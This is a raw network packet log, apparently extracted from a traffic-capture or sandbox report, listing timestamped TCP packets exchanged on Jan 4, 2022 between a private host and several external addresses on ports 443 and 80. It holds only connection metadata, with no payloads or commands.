Jan 4, 2022 19:33:45.587085962 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.587105036 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.587182999 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.587315083 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.587337971 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.587405920 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.587418079 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.587500095 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.587644100 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.588175058 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.588206053 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.588294983 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.588310957 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.588346958 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.588485003 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.615150928 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.615183115 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.615422964 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.615446091 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.615497112 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.615643024 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.615670919 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.615746021 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.615756035 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.615762949 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.616023064 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.616045952 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.616168022 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.616177082 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.616492033 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.616516113 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.616571903 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.616624117 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.775815010 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.775830030 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.776109934 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:45.980899096 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:45.981014967 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.064898968 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.064929008 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.064949036 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.065022945 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.065031052 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.065049887 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.065198898 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.065211058 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.065224886 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.065932989 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.134454966 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.134474039 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.134495974 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.134500980 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.134514093 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.134546995 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.134553909 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.134558916 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.134646893 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.134655952 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.134668112 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.134680986 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.134685993 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.134788990 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.134805918 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.135485888 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.135494947 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.135639906 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.135647058 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.135659933 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.135665894 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.135670900 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.135811090 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.135819912 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.135837078 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.135843039 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.135983944 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.136528969 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.136535883 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.136554956 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.136563063 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.136652946 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.136663914 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.136739016 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.136746883 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.136754990 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.136882067 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.137501955 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.137512922 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.137535095 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.137845993 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.137859106 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.137864113 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.137876987 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.137886047 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.137962103 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.138348103 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.138355970 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.138361931 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.138379097 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.138480902 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.138890982 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.138901949 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.138915062 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.138923883 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.139003992 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.139008999 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.139017105 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.139096975 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.139105082 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.139121056 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.139413118 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.139472008 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.139478922 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.139494896 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.139504910 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.139511108 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.139614105 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.139627934 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.139698982 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.139704943 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.139766932 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.140336990 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.140352011 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.140367031 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.140372038 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.140383959 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.140399933 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.140424967 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.140430927 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.140544891 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.140554905 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.140568018 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.140902042 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.141644001 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.141665936 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.141726017 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.141820908 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.141830921 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.141849995 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.141856909 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.141941071 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.142003059 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.142019033 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.142116070 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.143938065 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.143961906 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.144033909 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.144047022 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.144057035 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.144079924 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.144088984 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.144098997 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.144110918 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.144256115 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.144280910 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.144299030 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.144895077 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.145382881 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.147067070 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.148886919 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.148917913 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.148932934 CET	49866	443	192.168.2.5	144.76.136.153
Jan 4, 2022 19:33:46.148945093 CET	443	49866	144.76.136.153	192.168.2.5
Jan 4, 2022 19:33:46.599035025 CET	49867	80	192.168.2.5	189.129.105.161
Jan 4, 2022 19:33:46.802467108 CET	80	49867	189.129.105.161	192.168.2.5
Jan 4, 2022 19:33:46.802643061 CET	49867	80	192.168.2.5	189.129.105.161
Jan 4, 2022 19:33:46.802786112 CET	49867	80	192.168.2.5	189.129.105.161
Jan 4, 2022 19:33:46.803546906 CET	49867	80	192.168.2.5	189.129.105.161
Jan 4, 2022 19:33:47.006186008 CET	80	49867	189.129.105.161	192.168.2.5
Jan 4, 2022 19:33:47.006578922 CET	80	49867	189.129.105.161	192.168.2.5
Jan 4, 2022 19:33:47.586081982 CET	80	49867	189.129.105.161	192.168.2.5
Jan 4, 2022 19:33:47.586108923 CET	80	49867	189.129.105.161	192.168.2.5
Jan 4, 2022 19:33:47.586261034 CET	49867	80	192.168.2.5	189.129.105.161
Jan 4, 2022 19:33:47.586282969 CET	49867	80	192.168.2.5	189.129.105.161
Jan 4, 2022 19:33:47.789417982 CET	80	49867	189.129.105.161	192.168.2.5
Jan 4, 2022 19:33:47.921638012 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:47.927522898 CET	49868	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:47.980523109 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:47.981597900 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:47.981648922 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:47.981657028 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.004102945 CET	80	49868	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.004496098 CET	49868	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.004514933 CET	49868	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.004519939 CET	49868	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.042565107 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.079931021 CET	80	49868	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.122570992 CET	80	49868	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.124610901 CET	49868	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.124641895 CET	49868	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.173718929 CET	49870	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.199763060 CET	80	49868	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.223120928 CET	80	49870	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.223402023 CET	49870	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.223427057 CET	49870	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.223656893 CET	49870	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.253096104 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.253398895 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.253582954 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.273317099 CET	80	49870	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.313224077 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.313438892 CET	80	49870	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.313474894 CET	80	49870	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.313570976 CET	49870	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.313625097 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.313719988 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.313899994 CET	49870	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.317089081 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.317312002 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.319907904 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.360152006 CET	49871	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.368876934 CET	80	49870	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.377213001 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.377584934 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.378175020 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.378196955 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.378238916 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.378397942 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.381155014 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.381544113 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.382071972 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.382113934 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.384607077 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.385631084 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.409960032 CET	80	49871	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.412131071 CET	49871	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.412292004 CET	49871	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.413659096 CET	49871	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.437215090 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.437361002 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.438676119 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.441099882 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.441124916 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.441572905 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.442130089 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.442569017 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.442591906 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.442639112 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.442667007 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.442673922 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.445105076 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.445553064 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.445858955 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.445878029 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.445944071 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.445964098 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.461993933 CET	80	49871	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.463119984 CET	80	49871	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.504743099 CET	80	49871	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.504791975 CET	80	49871	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.504925966 CET	49871	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.505040884 CET	49871	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.509125948 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.509169102 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.509208918 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.509247065 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.509287119 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.509305000 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.509341955 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.509649992 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.509682894 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.509713888 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.509757042 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.509797096 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.509799004 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.509809971 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.510152102 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.510194063 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.510232925 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.510268927 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.510283947 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.510297060 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.510308027 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.510422945 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.510606050 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.510653973 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.510693073 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.510730028 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.510756969 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.510767937 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.510772943 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.510894060 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.511194944 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.511238098 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.511471033 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.511676073 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.512192011 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.512226105 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.512347937 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.512742043 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.512784004 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.512867928 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.547570944 CET	49872	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.554689884 CET	80	49871	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.569243908 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.569669962 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.571743965 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.573124886 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.573165894 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.573204994 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.573241949 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.573276043 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.573302984 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.573489904 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.573549032 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.573618889 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.573683977 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.573726892 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.573772907 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.573976040 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.574018002 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.574058056 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.574109077 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.574135065 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.574297905 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.574337959 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.574376106 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.574404955 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.574414015 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.574486971 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.574573994 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.574724913 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.574765921 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.574999094 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.575037956 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.575059891 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.575069904 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.575071096 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.575153112 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.575186968 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.575227022 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.575265884 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.575495005 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.575561047 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.575572968 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.575629950 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.575738907 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.576061964 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.576102972 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.576164007 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.576191902 CET	49869	80	192.168.2.5	151.251.30.69
